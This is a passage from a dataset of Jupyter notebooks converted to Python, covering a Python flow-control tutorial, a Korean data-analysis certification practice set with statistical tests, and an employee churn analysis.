`elif`, and `else` instead.\n#\n# ### A Note on True and False\n#\n# The `if` statement expects a boolean value to decide which path to execute. You have already seen True and False, which are pure boolean values. However, Python is much more relaxed when it comes to boolean values:\n\n# + id=\"1vXkBhiEI0nJ\" outputId=\"311be125-bd12-4f94-8579-653fa7acfa3e\"\nbool(None) # => False\n\n# + id=\"LKJEYYcAI0nK\" outputId=\"eac28571-7c44-4285-f363-2d883470e479\"\nbool(False) # => False\n\n# + id=\"CT-oWUEDI0nL\" outputId=\"f6790c13-6086-4593-acaf-ac1285a31ead\"\nbool(0) # => False\n\n# + id=\"Ka9GCQmHI0nL\" outputId=\"97998425-b82c-47f3-9f4b-d816eae809e0\"\nbool(0.0) # => False\n\n# + id=\"UxGznWlzI0nM\" outputId=\"7d01a9b1-c39d-436d-8458-b5d242f05d06\"\nbool('') # => False\n\n# + id=\"riVNBGuCI0nM\" outputId=\"8c8589ab-12d0-4493-949d-f68845fb5c7d\"\nbool({}) # => False\n\n# + id=\"Qa7ZUDMMI0nN\"\n# When using a value in an if-statement, Python automatically converts the value to a bool(...)\nif 0:\n print(\"This will never be executed, because 0 is False\")\n\n# + id=\"qOILmE8WI0nN\" outputId=\"e4274d38-ef18-4583-cb7b-156231ebaeb7\"\n# How should we check for an empty list?\ndata = []\nif data:\n process(data)\nelse:\n print(\"There's no data!\")\n\n# + id=\"1GJ_19krI0nN\" outputId=\"7bc5eee8-5a83-4b5d-a734-0c007cd49163\"\nbool(100000000000) # => True\n\n# + id=\"rw2YI4daI0nO\" outputId=\"7e7ad8d2-beb7-40f8-8808-5f20b4177ec9\"\nbool([0]) # => List is not empty -> True\n\n# + id=\"ZwmeyC4WI0nO\" outputId=\"db011adb-16cc-4b55-f5c5-fa3bbacec19c\"\nbool(\"0\") # => String is not empty -> True\n\n# + [markdown] id=\"0bXzFV6XI0nP\"\n# ### Combining Different conditions\n#\n# Very often, you want to check for multiple conditions in the if statement. You can use the boolean operators you saw earlier to do this:\n\n# + id=\"e9b0hr_dI0nP\"\n(a, b) = (20, 14)\n\n# + id=\"MvupHgpDI0nQ\" outputId=\"329eec8d-4936-40eb-8eda-7de9d373d199\"\nif a > 10 and b > 10:\n print(\"Both a and b are larger than 10!\")\n\nif (a > 0 and b > 0) or (a == b):\n print(\"Both a & b are positive, or they are the same\")\n\n# + [markdown] id=\"j3XuFcsUI0nQ\"\n# ### Conditional Evaluation\n#\n# 1. When only evaluating that an array has length, instead of this:\n# ``if len(array) > 0``\n# evaluate truthiness, like this:\n# ``if array``\n#\n# 2. When only evaluating that an array is empty, instead of this:\n# ``if len(array) == 0``\n# evaluate truthiness, like this:\n# ``if not array``\n#\n# 3. When only evaluating that a string is not empty, instead of this:\n# ``if string !== \"\"``\n# evaluate truthiness, like this:\n# ``if string``\n#\n# 4. When only evaluating that a string is empty, instead of this:\n# ``if string == \"\"``\n# evaluate falsy-ness, like this:\n# ``if not string``\n#\n# 5. When only evaluating that a reference is true, instead of this:\n# ``if foo is True``\n# evaluate like you mean it, take advantage of built in capabilities:\n# ``if foo :``\n#\n# 6. When evaluating that a reference is false, instead of this:\n# ``if foo is False:``\n# use negation to coerce a true evaluation\n# ``if not foo :``\n# Be careful, this will also match: 0, \"\", null, undefined, NaN\n# If you _MUST_ test for a boolean false, then use\n# ``if foo is False``\n#\n# 7. When only evaluating a ref that might be null or undefined, but NOT false, \"\" or 0, instead of this:\n# ``if foo is null or foo is undefined :``\n# take advantage of == type coercion, like this:\n# ``if foo == null :``\n# Remember, using == will match a ``null`` to BOTH ``null`` and ``undefined``\n# but not ``false``, \"\" or 0\n# ``null == undefined``\n\n# + [markdown] id=\"-6lSO_duI0nR\"\n# \n# ## [Loops](#P0)\n\n# + [markdown] id=\"AzWPs7e9I0nT\"\n# ### The for Statement\n#\n# The for statement in Python supports repeated execution of a statement or block of statements that is controlled by an iterable expression.\n#\n# The general syntax is as follows:\n#\n# ```Python\n# for item in iterable:\n# process(item)\n# ```\n\n# + [markdown] id=\"M84VJy80I0nT\"\n# Iterable objects are objects that can be iterated through, e.g. objects that can be divided into sub objects.\n#\n# Examples for iterables are **strings**, **lists**, **dicts** etc.\n\n# + id=\"UeHB6EabI0nU\" outputId=\"506496a0-c9ed-4a7d-93f4-0df2df609cac\"\n# the following piece of code prints out single letters, line by line\nfor char in 'Propulsion Academy':\n print(char)\n\n# + id=\"FxNyQcR9I0nU\" outputId=\"31df6d69-49fa-4e9f-fa54-a44189607956\"\n# the following code iterates through a list, and prints out each item\nfor item in ['Laurent', 'Simon', 'Paul']:\n print(item)\n\n# + [markdown] id=\"wmt5OqswI0nV\"\n# More information about iterables and iterators can be found here: https://wiki.python.org/moin/Iterator\n#\n# ### The while Statement\n#\n# The while statement is used when you need to repeat a block of code controlled by a conditional expression. For example, the code will be executed until the count value becomes 10 and then it will stop.\n\n# + id=\"w7SeM8qYI0nV\" outputId=\"3fb08aad-d408-4acb-d148-be5e781ebce3\"\ncount = 0\nwhile count < 10:\n count += 1\n print(count)\n\n# + [markdown] id=\"P1e6U6wAI0nW\"\n# ### range()\n#\n# Sometimes you would like to iterate through a certain range of numbers. range() creates an iterable for you to do so. For example:\n\n# + id=\"0yMytE-RI0nW\" outputId=\"718e50fa-6790-4476-e1ce-26f29d6d8b23\"\nlist(range(10, 3, -2))\n\n# + id=\"WF3GzgpJI0nW\" outputId=\"dfb079c1-f7ff-4d16-c44d-77ce199a2d03\"\n# print numbers from 1-199\nfor number in range(1, 200):\n print(number)\n\n# + [markdown] id=\"Bg25zFc7I0nX\"\n# The general syntax for range is one of the following:\n#\n# - range(stop)\n# - range(start, stop)\n# - range(start, stop, step)\n\n# + id=\"mECuHRxoI0nX\" outputId=\"3c421871-0c9b-431a-d9eb-29f041f40096\"\n# other examples for ranges\nprint(range(3)) # generates 0, 1, 2\n\n# + id=\"B6nVoSjOI0nY\" outputId=\"69efe591-3f60-484f-8d7c-a60ad1e22ea3\"\nrange(5, 10) # generates 5, 6, 7, 8, 9\n\n# + id=\"95yHAYTqI0nY\" outputId=\"b419f171-7f8e-477f-e6d1-02f55531149e\"\nrange(2, 10, 3) # generates 2, 5, 8\n\n# + id=\"XGvM4rpkI0nY\" outputId=\"67745a7c-efe4-40f3-f560-cf00d86b0b40\"\nrange(0, -5, -1) # generates 0, -1, -2, -3, -4\n\n# + [markdown] id=\"IYOkxAraI0nZ\"\n# ### break and continue\n#\n# **break** breaks out of the current enclosing **for** or **while** loop:\n\n# + id=\"eRYglU6WI0nZ\" outputId=\"74136df6-2b61-4315-a382-74b7ec0b1ef3\"\nfor n in range(10):\n if n == 5:\n break\n print(n)\n\n# + [markdown] id=\"Jc2U4aL5I0nZ\"\n# **continue** continues with the next iteration of the current enclosing **for** or **while** loop:\n\n# + id=\"IXMRfoLPI0na\" outputId=\"5bb8bad4-111b-4b87-8b68-9e8faae6248d\"\nfor n in range(10):\n if n == 5:\n # skip even number\n continue\n print(n)\n\n# + [markdown] id=\"P6CLrTytI0na\"\n# ### Looping over Dictionaries\n#\n# There are three ways to loop through all items in dictionary - using **.keys()**, **.values()**, and **.items()**\n\n# + id=\"1LC63If6I0na\" outputId=\"1f1fe893-aea7-4c06-eef5-f340c3ade574\"\nperson = {'firstname': 'Laurent', 'lastname': 'Hoxhaj', 'age': 26}\n\nfor key, value in person.items():\n print(f\"Key: {key}, Value: {value}\")\n\n# + id=\"s9WEEECfI0nb\" outputId=\"099c4983-dc7b-41d4-a355-3270084d99f6\"\nfor key in person.keys():\n print(\"Key: \", key)\n\n# + id=\"ED6i-B1FI0nb\" outputId=\"b31d6ae9-c98f-4c49-94bc-5e566b32df57\"\nfor value in person.values():\n print(\"Value: \", value)\n\n\n# + [markdown] id=\"gFhgGwr7I0nc\"\n# You can use these three methods also for other purposes:\n\n# + id=\"RDk7wmzeI0nc\" outputId=\"577c9f76-be17-4bbc-e142-32f92a868658\"\n# check if a key exist\n'firstname' in person.keys() # => True\n\n# + id=\"iYKLqUJfI0nd\" outputId=\"c0961138-8c5e-4e58-d6ed-cb8d642ba9ff\"\n'address' in person.keys() # => False\n\n# + id=\"Yj8_QyZEI0ne\" outputId=\"9b0a1260-d6e6-482f-c6c4-3a25b4eaf134\"\n# check if a value exists\n'Laurent' in person.values() # => True\n\n# + id=\"rgIT6yAPI0nf\" outputId=\"c0609117-33f9-4444-bc65-8ee408b29690\"\n'Meyer' in person.values() # => False\n\n# + id=\"bvwsN9dpI0nf\"\n# get a list of all keys\nkeys_list = list(person.keys()) # ['name', 'last_name', 'age']\n\n# + [markdown] id=\"bkf4qx0CI0nf\"\n# ### Zip\n\n# + id=\"ii4NdI1eI0ng\" outputId=\"8ef55ed8-17ba-4b20-a8c5-ab79dd032ee7\"\nquestions = ['name', 'quest', 'favorite color']\nanswers = ['Lancelot', 'To seek the holy grail', 'Blue']\n\n# use zip() to generate pairs of entries\nfor q, a in zip(questions, answers):\n print('What is your {0}? {1}.'.format(q, a))\n\n# + [markdown] id=\"q4Hsclq-I0ng\"\n# ### Reverse iteration\n\n# + id=\"8N82BMAKI0ng\" outputId=\"f61d89d3-0b34-45ce-bc2f-8ec801f16ba9\"\n# use reversed() to loop over sequence in reverse\nfor i in reversed(range(1, 10, 2)):\n print(i, end=', ')\n\n# + [markdown] id=\"tCPuweJlI0ng\"\n# ### Sorted iteration\n\n# + id=\"bRwQBDNoI0nh\" outputId=\"746633d7-58da-4e29-8faf-89985a75f0d5\"\nbasket = ['pear', 'banana', 'orange', 'pear', 'apple']\n\n# use sorted to return a new sorted list before iterating\nfor fruit in sorted(basket):\n print(fruit)\n","repo_name":"EmAchieng/DataSciencePracticeSeries","sub_path":"Python_Flow_Control.ipynb","file_name":"Python_Flow_Control.ipynb","file_ext":"py","file_size_in_byte":13403,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"44301588949","text":"# + [markdown] id=\"wjY-Kyox1Wy2\"\n# # 작업 1유형\n\n# + [markdown] id=\"7RFiWW6l1gim\"\n# ## 1-1. 결측치가 하나라도 존재하는 행의 경우 경우 해당 행을 삭제하라. 그후 남은 데이터의 상위 70%에 해당하는 데이터만 남겨둔 후 median_income 컬럼의 1분위수를 반올림하여 소숫점이하 2째자리까지 구하여라\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"woL9mqsozy2S\" executionInfo={\"status\": \"ok\", \"timestamp\": 1701437638711, \"user_tz\": -540, \"elapsed\": 458, \"user\": {\"displayName\": \"\\uae40\\uc720\\ub9bc\", \"userId\": \"09242611142827377637\"}} outputId=\"bddc1ded-51cd-4bfb-b24b-955d7e7b5aaa\"\nimport pandas as pd\ndf = pd.read_csv('https://raw.githubusercontent.com/Datamanim/datarepo/main/krdatacertificate/e3_p1_1.csv')\ndf = df.dropna().reset_index(drop = True)\ndf = df.iloc[:int(len(df) * 0.7), :]\nres = round(df['median_income'].quantile(0.25), 2)\nprint(res)\n\n# + [markdown] id=\"jJRtSNcV2HnO\"\n# ## 1-2.1990년도는 해당년도 평균 이하 GDP를 가지지만, 2010년도에는 해당년도 평균 이상 GDP를 가지는 국가의 숫자를 구하여라\n#\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"0dH00eVxzyzU\" executionInfo={\"status\": \"ok\", \"timestamp\": 1701438009854, \"user_tz\": -540, \"elapsed\": 7, \"user\": {\"displayName\": \"\\uae40\\uc720\\ub9bc\", \"userId\": \"09242611142827377637\"}} outputId=\"a97c7949-8727-4704-9c2d-dee05962d67e\"\nimport pandas as pd\ndf =pd.read_csv('https://raw.githubusercontent.com/Datamanim/datarepo/main/krdatacertificate/e3_p1_2.csv')\ndf_90 = df[df['Year'] == 1990]\ndf_90 = df_90[df_90['Value'] <= df_90['Value'].mean()].reset_index(drop = True)['Country Name'].to_frame()\n\ndf_10 = df[df['Year'] == 2010]\ndf_10 = df_10[df_10['Value'] >= df_10['Value'].mean()].reset_index(drop = True)['Country Name'].to_frame()\n\nres_df = pd.merge(df_90, df_10, on = 'Country Name', how = 'inner')\nres = len(res_df.value_counts())\nprint(res)\n\n# + [markdown] id=\"QvdV-gkW4AQF\"\n# ## 1-3.데이터에서 결측치가 가장 많은 컬럼을 출력하라\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"8m-NSOO5zywv\" executionInfo={\"status\": \"ok\", \"timestamp\": 1701438047206, \"user_tz\": -540, \"elapsed\": 414, \"user\": {\"displayName\": \"\\uae40\\uc720\\ub9bc\", \"userId\": \"09242611142827377637\"}} outputId=\"772e4424-34a1-4b18-fc93-e99bdd9bb41b\"\nimport pandas as pd\ndf = pd.read_csv('https://raw.githubusercontent.com/Datamanim/datarepo/main/krdatacertificate/e3_p1_3.csv')\nres = df.isnull().sum().sort_values(ascending = False).index[0]\n\n# + [markdown] id=\"1CKM9Wv94NOf\"\n# # 작업 2유형\n\n# + [markdown] id=\"M3puIq-J4RhB\"\n# ## 종속 변수 : TravelInsurance , TravelInsurance가 1일 확률을 구해서 제출하라. 평가지표 : auc\n# 제출 파일의 컬럼은 ID, proba 두개만 존재해야한다.\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 400} id=\"FdkgYUxqzyuW\" executionInfo={\"status\": \"ok\", \"timestamp\": 1701006345617, \"user_tz\": -540, \"elapsed\": 335, \"user\": {\"displayName\": \"\\uae40\\uc720\\ub9bc\", \"userId\": \"09242611142827377637\"}} outputId=\"97e90b59-48a9-4021-efb3-d2b2176f460c\"\nimport pandas as pd\ntrain = pd.read_csv('https://raw.githubusercontent.com/Datamanim/datarepo/main/krdatacertificate/e3_p2_train_.csv')\ntest = pd.read_csv('https://raw.githubusercontent.com/Datamanim/datarepo/main/krdatacertificate/e3_p2_test_.csv')\ntrain.head()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"It0SoCPmzyo5\" executionInfo={\"status\": \"ok\", \"timestamp\": 1701006412788, \"user_tz\": -540, \"elapsed\": 6, \"user\": {\"displayName\": \"\\uae40\\uc720\\ub9bc\", \"userId\": \"09242611142827377637\"}} outputId=\"50e2ac22-71cb-4a36-ecd7-f4eef5f653d7\"\ntrain.info()\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"nonkNUk-4hs9\" executionInfo={\"status\": \"ok\", \"timestamp\": 1701007638000, \"user_tz\": -540, \"elapsed\": 1019, \"user\": {\"displayName\": \"\\uae40\\uc720\\ub9bc\", \"userId\": \"09242611142827377637\"}} outputId=\"22cd0e3e-943a-4e2e-a6dc-ffc97979e2b3\"\ntrain = pd.read_csv('https://raw.githubusercontent.com/Datamanim/datarepo/main/krdatacertificate/e3_p2_train_.csv')\ntest = pd.read_csv('https://raw.githubusercontent.com/Datamanim/datarepo/main/krdatacertificate/e3_p2_test_.csv')\n\ncol_drop = ['ID']\ncol_num = ['Age', 'AnnualIncome', 'FamilyMembers', 'ChronicDiseases']\ncol_cat = ['Employment Type', 'GraduateOrNot', 'FrequentFlyer', 'EverTravelledAbroad']\ncol_y = ['TravelInsurance']\ntest_id = test['ID']\n\ntrain = train.drop(col_drop, axis = 1)\ntest = test.drop(col_drop, axis = 1)\n\n\nx_train = train.loc[:, 'Age' : 'EverTravelledAbroad']\ny_train = train.loc[:, 'TravelInsurance']\nx_test = test\n\n# 명목형\nx = pd.concat([x_train, x_test])\nfrom sklearn.preprocessing import OneHotEncoder\n\nohe = OneHotEncoder(handle_unknown = 'ignore')\nohe.fit(x[col_cat])\n\nx_train_res = ohe.transform(x_train[col_cat])\nx_test_res = ohe.transform(x_test[col_cat])\n\nx_train_ohe = pd.DataFrame(x_train_res.todense(), columns = ohe.get_feature_names_out())\nx_test_ohe = pd.DataFrame(x_test_res.todense(), columns = ohe.get_feature_names_out())\n\nx_train_fin = pd.concat([x_train_ohe, x_train[col_num]], axis = 1)\nx_test_fin = pd.concat([x_test_ohe, x_test[col_num]], axis = 1)\n\nfrom sklearn.model_selection import train_test_split\nx_tr, x_val, y_tr, y_val = train_test_split(x_train_fin, y_train.values.ravel(),\n test_size = 0.3, stratify = y_train.values.ravel())\n\nfrom sklearn.preprocessing import MinMaxScaler\n\nscaler = MinMaxScaler()\nscaler.fit(x_tr[col_num])\n\nx_tr[col_num] = scaler.transform(x_tr[col_num])\nx_val[col_num] = scaler.transform(x_val[col_num])\nx_test_fin[col_num] = scaler.transform(x_test_fin[col_num])\n\nfrom sklearn.ensemble import RandomForestClassifier\n\nmodel = RandomForestClassifier()\nmodel.fit(x_tr, y_tr)\n\nfrom sklearn.metrics import accuracy_score\ny_pred_train = model.predict(x_tr)\nprint('accuracy tr', accuracy_score(y_pred_train, y_tr))\n\ny_pred_val = model.predict(x_val)\nprint('accuracy val', accuracy_score(y_pred_val, y_val))\n\n\nfrom sklearn.metrics import roc_auc_score\ny_pred_train = model.predict_proba(x_tr)[:, 1]\nprint('roc_auc_score tr', roc_auc_score(y_tr, y_pred_train))\n\ny_pred_val = model.predict_proba(x_val)[:, 1]\nprint('roc_auc_score val', roc_auc_score(y_val, y_pred_val))\n\ny_pred = model.predict_proba(x_test_fin)[:, 1]\nresult = pd.DataFrame({'ID' : test_id, 'proba' : y_pred})\nresult.to_csv('00300.csv', index = False)\n\n# + id=\"wuBrVFVe9H8s\"\n\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"jC9HemV59F8N\" executionInfo={\"status\": \"ok\", \"timestamp\": 1701007826536, \"user_tz\": -540, \"elapsed\": 897, \"user\": {\"displayName\": \"\\uae40\\uc720\\ub9bc\", \"userId\": \"09242611142827377637\"}} outputId=\"fc91afa2-d909-47ef-bf82-11e63f565dcb\"\ntrain = pd.read_csv('https://raw.githubusercontent.com/Datamanim/datarepo/main/krdatacertificate/e3_p2_train_.csv')\ntest = pd.read_csv('https://raw.githubusercontent.com/Datamanim/datarepo/main/krdatacertificate/e3_p2_test_.csv')\n\ncol_drop = ['ID']\ncol_num = ['Age', 'AnnualIncome', 'FamilyMembers', 'ChronicDiseases']\ncol_cat = ['Employment Type', 'GraduateOrNot', 'FrequentFlyer', 'EverTravelledAbroad']\ncol_y = ['TravelInsurance']\ntest_id = test['ID']\n\ntrain = train.drop(col_drop, axis = 1)\ntest = test.drop(col_drop, axis = 1)\n\n\nx_train = train.loc[:, 'Age' : 'EverTravelledAbroad']\ny_train = train.loc[:, 'TravelInsurance']\nx_test = test\n\n# 명목형\nx_train_dum = pd.get_dummies(x_train)\nx_test_dum = pd.get_dummies(x_test)\nx_test_dum = x_test_dum[x_train_dum.columns]\n\nfrom sklearn.model_selection import train_test_split\nx_tr, x_val, y_tr, y_val = train_test_split(x_train_dum, y_train.values.ravel(),\n test_size = 0.3, stratify = y_train.values.ravel())\n\nfrom sklearn.preprocessing import MinMaxScaler\n\nscaler = MinMaxScaler()\nscaler.fit(x_tr[col_num])\n\nx_tr[col_num] = scaler.transform(x_tr[col_num])\nx_val[col_num] = scaler.transform(x_val[col_num])\nx_test_dum[col_num] = scaler.transform(x_test_dum[col_num])\n\nfrom sklearn.ensemble import RandomForestClassifier\n\nmodel = RandomForestClassifier()\nmodel.fit(x_tr, y_tr)\n\nfrom sklearn.metrics import accuracy_score\ny_pred_train = model.predict(x_tr)\nprint('accuracy tr', accuracy_score(y_pred_train, y_tr))\n\ny_pred_val = model.predict(x_val)\nprint('accuracy val', accuracy_score(y_pred_val, y_val))\n\n\nfrom sklearn.metrics import roc_auc_score\ny_pred_train = model.predict_proba(x_tr)[:, 1]\nprint('roc_auc_score tr', roc_auc_score(y_tr, y_pred_train))\n\ny_pred_val = model.predict_proba(x_val)[:, 1]\nprint('roc_auc_score val', roc_auc_score(y_val, y_pred_val))\n\ny_pred = model.predict_proba(x_test_dum)[:, 1]\nresult = pd.DataFrame({'ID' : test_id, 'proba' : y_pred})\nresult.to_csv('00300.csv', index = False)\n\n# + [markdown] id=\"25mKP-co-Gcl\"\n# # 작업 3유형\n\n# + [markdown] id=\"p7B02F8y-H--\"\n# 투약 후 체중에서 투약 전 체중을 뺏을 때 값은 일반 적으로 세가지 등급으로 나눈다. -3이하 : A등급, -3초과 0이하 : B등급, 0 초과 : C등급. 약 실험에서 A,B,C 그룹간의 인원 수 비율은 2:1:1로 알려져 있다. 위 데이터 표본은 각 범주의 비율에 적합한지 카이제곱 검정하려한다.\n#\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 206} id=\"-ycphuPo-Eew\" executionInfo={\"status\": \"ok\", \"timestamp\": 1701438052001, \"user_tz\": -540, \"elapsed\": 368, \"user\": {\"displayName\": \"\\uae40\\uc720\\ub9bc\", \"userId\": \"09242611142827377637\"}} outputId=\"e13b290f-fe9d-4787-e2c8-e366c4450e7e\"\nimport pandas as pd\ndf= pd.read_csv('https://raw.githubusercontent.com/Datamanim/datarepo/main/krdatacertificate/e3_p3_1.csv')\ndf.head()\n\n\n# + [markdown] id=\"DOGb18TZ-RsA\"\n# ## 3-1-a.A등급에 해당하는 유저는 몇명인지 확인하라\n#\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"IhLJahkD-EcD\" executionInfo={\"status\": \"ok\", \"timestamp\": 1701438176556, \"user_tz\": -540, \"elapsed\": 6, \"user\": {\"displayName\": \"\\uae40\\uc720\\ub9bc\", \"userId\": \"09242611142827377637\"}} outputId=\"e543408a-50c2-4ff8-abd6-b802ac87db74\"\ndef label(x):\n if x <= -3:\n return 'A'\n elif -3 < x <= 0:\n return 'B'\n elif x > 0:\n return 'C'\n\ndf['diff'] = df['투약후'] - df['투약전']\ndf['diff_label'] = df['diff'].apply(label)\n\nres = len(df[df['diff_label'] == 'A'])\nprint(res)\n\n# + [markdown] id=\"uwXmVsYh_PJN\"\n# ## 3-1-b.카이제곱검정 통계량을 반올림하여 소숫점 이하 3째자리까지 구하여라\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"IbErdgWj-EWO\" executionInfo={\"status\": \"ok\", \"timestamp\": 1701438500575, \"user_tz\": -540, \"elapsed\": 5, \"user\": {\"displayName\": \"\\uae40\\uc720\\ub9bc\", \"userId\": \"09242611142827377637\"}} outputId=\"077524b3-3c52-4d77-f531-aaca733f812f\"\nfrom scipy.stats import chisquare\n\ndata = df.groupby('diff_label').size().sort_index().to_frame()\ndata['e'] = [data[0].sum()*0.5, data[0].sum()*0.25, data[0].sum()*0.25]\n\nt, p = chisquare(data[0], data['e'])\nres = round(t, 3)\nprint(res)\n\n# + [markdown] id=\"SC1Do9dEBdFV\"\n# ## 3-1-c.카이제곱 검정 p값을 반올림하여 소숫점 이하 3자리까지 구하고, 유의수준 0.05하에서 귀무가설과 대립가설중 유의한 가설을 하나를 선택하시오(귀무/대립)\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"jrnAIkrlA9Uh\" executionInfo={\"status\": \"ok\", \"timestamp\": 1701438536067, \"user_tz\": -540, \"elapsed\": 318, \"user\": {\"displayName\": \"\\uae40\\uc720\\ub9bc\", \"userId\": \"09242611142827377637\"}} outputId=\"8831782b-aadb-4d2b-c1dc-ff6be7bfd459\"\nfrom scipy.stats import chisquare\n\ndata = df.groupby('diff_label').size().sort_index().to_frame()\ndata['e'] = [data[0].sum()*0.5, data[0].sum()*0.25, data[0].sum()*0.25]\n\nt, p = chisquare(data[0], data['e'])\nres = round(p, 3)\nprint(res)\n\nif res < 0.05:\n print('대립')\nelse:\n print('귀무')\n\n# + [markdown] id=\"uLZhFPllBsZt\"\n# A,B 공장에서 생산한 기계들의 rpm 값들을 기록한 데이터이다. 대응 표본 t 검정을 통해 B공장 제품들이 A 공장 제품들보다 rpm이 높다고 말할 수 있는지 검정하려한다\n\n# + colab={\"base_uri\": \"https://localhost:8080/\", \"height\": 206} id=\"0HyZz8MZA9Rv\" executionInfo={\"status\": \"ok\", \"timestamp\": 1701438539419, \"user_tz\": -540, \"elapsed\": 335, \"user\": {\"displayName\": \"\\uae40\\uc720\\ub9bc\", \"userId\": \"09242611142827377637\"}} outputId=\"b188628e-3708-4e09-eeea-21d6ade021a2\"\nimport pandas as pd\ndf = pd.read_csv('https://raw.githubusercontent.com/Datamanim/datarepo/main/krdatacertificate/e3_p3_2_.csv')\ndf.head()\n\n\n# + [markdown] id=\"3x-PhHU3B3Ak\"\n# ## 3-2-a.A,B 공장 각각 정규성을 가지는지 샤피로 검정을 통해 확인하라. (각 공장의 pvalue 출력할 것)\n#\n#\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"9_EK1vq1BvSP\" executionInfo={\"status\": \"ok\", \"timestamp\": 1701438695457, \"user_tz\": -540, \"elapsed\": 441, \"user\": {\"displayName\": \"\\uae40\\uc720\\ub9bc\", \"userId\": \"09242611142827377637\"}} outputId=\"44b80acb-2ec7-4e52-d839-b6192be8841e\"\nfrom scipy.stats import shapiro\na = df[df['group'] == 'A']['rpm']\nb = df[df['group'] == 'B']['rpm']\n\nt_a, p_a = shapiro(a)\nt_b, p_b = shapiro(b)\n\nif p_a < 0.05:\n print('a 정규성X')\nelse:\n print('a 정규성')\n\nif p_b < 0.05:\n print('b 정규성X')\nelse:\n print('b 정규성')\n\n# + [markdown] id=\"42ZawDMACe_K\"\n# ## 3-2-b.A,B 공장 생산 제품의 rpm은 각각 등분산성\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"i5qBNpElB7L5\" executionInfo={\"status\": \"ok\", \"timestamp\": 1701438757654, \"user_tz\": -540, \"elapsed\": 5, \"user\": {\"displayName\": \"\\uae40\\uc720\\ub9bc\", \"userId\": \"09242611142827377637\"}} outputId=\"9efe16a5-cc3b-4b58-93af-f8bcafd50cb6\"\nfrom scipy.stats import levene\na = df[df['group'] == 'A']['rpm']\nb = df[df['group'] == 'B']['rpm']\n\nt, p = levene(a, b)\n\nif p < 0.05:\n print('등분산X')\nelse:\n print('등분산')\n\n\n# + [markdown] id=\"MLolnGx-C7YG\"\n# ## 3-2-c.대응 표본 t 검정을 통해 B공장 제품들의 rpm이 A 공장 제품의 rpm보다 크다고 말할 수 있는지 검정하라. pvalue를 소숫점 이하 3자리까지 출력하고 귀무가설, 대립가설 중 하나를 출력하라*\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} id=\"CH-0xmQhC56H\" executionInfo={\"status\": \"ok\", \"timestamp\": 1701438885009, \"user_tz\": -540, \"elapsed\": 740, \"user\": {\"displayName\": \"\\uae40\\uc720\\ub9bc\", \"userId\": \"09242611142827377637\"}} outputId=\"127f02da-8a88-42bf-f9b8-a6a5a51eddb5\"\nfrom scipy.stats import ttest_rel\n\nt, p = ttest_rel(a, b, alternative = 'less')\nres = round(p, 3)\nprint(res)\n\nif res < 0.05:\n print('대립')\nelse:\n print('귀무')\n\n# + id=\"BY7sEnXUDOrZ\"\n\n","repo_name":"dbfla3831/study","sub_path":"빅분기/3회 기출 변형.ipynb","file_name":"3회 기출 변형.ipynb","file_ext":"py","file_size_in_byte":14584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"27298843905","text":"# +\nimport pandas as pd\nimport seaborn as sns\nimport numpy as np\nfrom six.moves import xrange\nimport matplotlib.pyplot as plt\n# %matplotlib inline\nimport pdb\n\n#pdb.set_trace()\ndata = pd.read_csv('HR_comma_sep.csv')\n# -\n\ndata.info()\n\nleft = data.groupby('left')\n\n#left.count().index.values\nleft.count()['satisfaction_level']\n\n#left.tail()\nplt.bar(left.count().index.values,left.count()['promotion_last_5years'])\n\n\ndata.describe()\n\ndata.number_project.value_counts()\n\nnb_projects = data.groupby('number_project').count()\n\nplt.bar(nb_projects.index.values,nb_projects['last_evaluation'])\nplt.xlabel('Nb projects')\n\nnb_projects\n\n# +\nfeatures=['number_project','time_spend_company','Work_accident','left', 'promotion_last_5years','Departments ','salary']\n\nfig = plt.subplots(figsize=(10,15))\nfor i, j in enumerate(features):\n plt.subplot(4,2,i+1)\n plt.subplots_adjust(hspace=1)\n plt.xticks(rotation=90)\n plt.title('Nb Employees')\n sns.countplot(x=j, data=data, hue='left')\n\n\n# -\n\nleft_employees = data[['satisfaction_level','last_evaluation']][data.left==1]\n\n# +\nfrom sklearn.cluster import KMeans \n\ncluster = KMeans(n_clusters=3,random_state=0).fit(left_employees)\n# -\n\nleft_employees['labels'] = cluster.labels_\n\nplt.scatter(left_employees['satisfaction_level'], left_employees['last_evaluation'],\n c=left_employees['labels'], cmap='Accent')\n\nfrom sklearn import preprocessing\n#creating labelEncoder\nle = preprocessing.LabelEncoder()\n# Converting string labels into numbers.\ndata['salary']=le.fit_transform(data['salary'])\ndata['Departments ']=le.fit_transform(data['Departments '])\n\nX=data[['satisfaction_level', 'last_evaluation', 'number_project',\n 'average_montly_hours', 'time_spend_company', 'Work_accident',\n 'promotion_last_5years', 'Departments ', 'salary']]\ny=data['left']\n\n# +\nfrom sklearn.model_selection import train_test_split\n\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.3, random_state=42) # 70% training and 30% test\n\n# +\nfrom sklearn.ensemble import GradientBoostingClassifier\n\ngd = GradientBoostingClassifier()\n# -\n\ngd.fit(X_train, y_train)\n\ny_predict = gd.predict(X_test)\n\n# +\nfrom sklearn import metrics\n\nprint('accuracy : {}'.format(metrics.precision_score(y_test, y_predict)))\n\n# +\nfrom sklearn.metrics import classification_report\n\nprint(classification_report(y_test, y_predict))\n# -\n\n\n","repo_name":"miketensor/DataAnalysis","sub_path":"Employee Churn/EmployeeChurn - Panda.ipynb","file_name":"EmployeeChurn - Panda.ipynb","file_ext":"py","file_size_in_byte":2371,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-jupyter-script","pt":"2"} +{"seq_id":"11142784598","text":"# +\nimport 